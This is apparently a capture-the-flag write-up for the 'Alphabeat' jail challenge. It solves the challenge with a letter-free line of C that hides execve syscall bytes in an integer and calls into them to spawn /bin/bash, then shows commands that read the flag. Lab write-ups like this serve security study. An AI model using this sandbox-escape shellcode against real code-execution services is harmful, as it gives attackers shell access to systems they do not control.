๐ !Alphabeat
๐ Before you start
You can donate to me via Buy Me a Coffee or follow me on Github
๐ Challenge Statement
#!/usr/local/bin/python3 -u
import os
import subprocess
import tempfile
import re
print("Input your code (1 line)")
code = input("> ")
if re.search(r'[A-Za-z]', code):
print("No letters allowed")
exit(1)
with tempfile.TemporaryDirectory() as td:
src_path = os.path.join(td, "source.c")
compiled_path = os.path.join(td, "compiled")
with open(src_path, "w") as file:
file.write(code)
# Entry point is _ *NOT* main. Keep that in mind
# as the chal is literally impossible without this
returncode = subprocess.call(["gcc", "-B/usr/bin", "-Wl,--entry=_", "-nostartfiles", "-w", "-O0", "-o", compiled_path, src_path], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
if returncode != 0:
print("Oops, there were some compilation errors!")
exit(1)
print("Good luck!")
subprocess.call([compiled_path])
๐ฉ Getting the Flag
So, we have a challenge that compiles and runs C code. We're not allowed to use letters in the source code, but numbers are allowed. There's also a hint stating the entry point is _
instead of main
.
An idea that comes to mind:
- Write the
_
function. - Inject a function pointer that points to
execve
orsyscall
.
Without worrying about any blacklist, we could do something like this:
int _() {
(*$)() = 0x0000000;
$(59, "/bin/bash", 0, 0);
}
Quite simply we have our source code:
int _(){
}
This is simple enough, but we can't use the int
keyword since it's a letter.
The default behavior of C
In C, if you don't specify a return type for a function
, the compiler defaults to int
. That's why we can remove the int
from our _
function and the code will still compile.
_(){
}
Now, we need a variable that is a function pointer, but how can we do that?
No need for types in C
In C, there's no need to declare a type for a variable IF and only IF it's declared in the global scope, outside any function.
$;
_(){
}
Ici $
is a variable that defaults to int
.
To make our variable a function pointer, we declare it outside any function.
(*$)();
_(){
}
Next, we need a function pointer to the execve
or syscall
function. We will move the rax
register in memory to directly place 59
into the syscall
launch address.
(*$)();
_(){
$ = 0x50f3bb0;
$("/bin/bash", 0, 0);
}
Now, we need a way to insert /bin/bash
using only numbers. It's easy to write it in octal.
(*$)();
_(){
$ = 0x50f3bb0;
$("\057\142\151\156\057\142\141\163\150", 0, 0);
}
Next, we need to shift our pointer to the syscall
we created. We'll simply shift the pointer by 11 bytes.
(*$)();
(*$__)();
_(){
$__= 0x50f3bb0;
$=_+11;
$("\057\142\151\156\057\142\141\163\150", 0, 0);
}
Lastly, we need to convert our 0x50f3bb0
movement address to an integer. We'll just convert it to octal.
(*$)();
(*$__)();
_(){
$__= 84884400;
$=_+11;
$("\057\142\151\156\057\142\141\163\150", 0, 0);
}
Now, let's put the code in one line and submit it for the challenge:
(*$)();(*$__)();_(){$__=84884400;$=_+11;$("\057\142\151\156\057\142\141\163\150",0,0);}
And we get the flag:
Input your code (1 line)
> (*$)();(*$__)();_(){$__=84884400;$=_+11;$("\057\142\151\156\057\142\141\163\150",0,0);}
Good luck!
ls -la /
total 64
drwxr-xr-x 1 nobody nogroup 4096 Sep 7 23:35 .
drwxr-xr-x 1 nobody nogroup 4096 Sep 7 23:35 ..
drwxr-xr-x 2 nobody nogroup 4096 Sep 7 23:35 app
lrwxrwxrwx 1 nobody nogroup 7 May 13 00:00 bin -> usr/bin
drwxr-xr-x 2 nobody nogroup 4096 Jan 28 2024 boot
drwxrwxrwt 2 nobody nogroup 100 Sep 14 18:31 dev
drwxr-xr-x 46 nobody nogroup 4096 Sep 7 23:35 etc
-rw-r--r-- 1 nobody nogroup 47 Aug 2 20:00 flag-655089ec904a39e5523a6a0e.txt
drwxr-xr-x 2 nobody nogroup 4096 Jan 28 2024 home
lrwxrwxrwx 1 nobody nogroup 7 May 13 00:00 lib -> usr/lib
lrwxrwxrwx 1 nobody nogroup 9 May 13 00:00 lib64 -> usr/lib64
drwxr-xr-x 2 nobody nogroup 4096 May 13 00:00 media
drwxr-xr-x 2 nobody nogroup 4096 May 13 00:00 mnt
drwxr-xr-x 2 nobody nogroup 4096 May 13 00:00 opt
dr-xr-xr-x 178 nobody nogroup 0 Sep 15 12:38 proc
drwx------ 2 nobody nogroup 4096 May 14 07:16 root
drwxr-xr-x 3 nobody nogroup 4096 May 14 02:54 run
lrwxrwxrwx 1 nobody nogroup 8 May 13 00:00 sbin -> usr/sbin
drwxr-xr-x 2 nobody nogroup 4096 May 13 00:00 srv
drwxr-xr-x 2 nobody nogroup 4096 Jan 28 2024 sys
drwxrwxrwt 3 1000 1000 60 Sep 15 12:38 tmp
drwxr-xr-x 12 nobody nogroup 4096 May 13 00:00 usr
drwxr-xr-x 11 nobody nogroup 4096 May 13 00:00 var
cat /flag-655089ec904a39e5523a6a0e.txt
jail{writing_C_just_the_way_it_was_meant_to_be}
๐ Support
๐ Before you leave
You can donate to me via Buy Me a Coffee or follow me on Github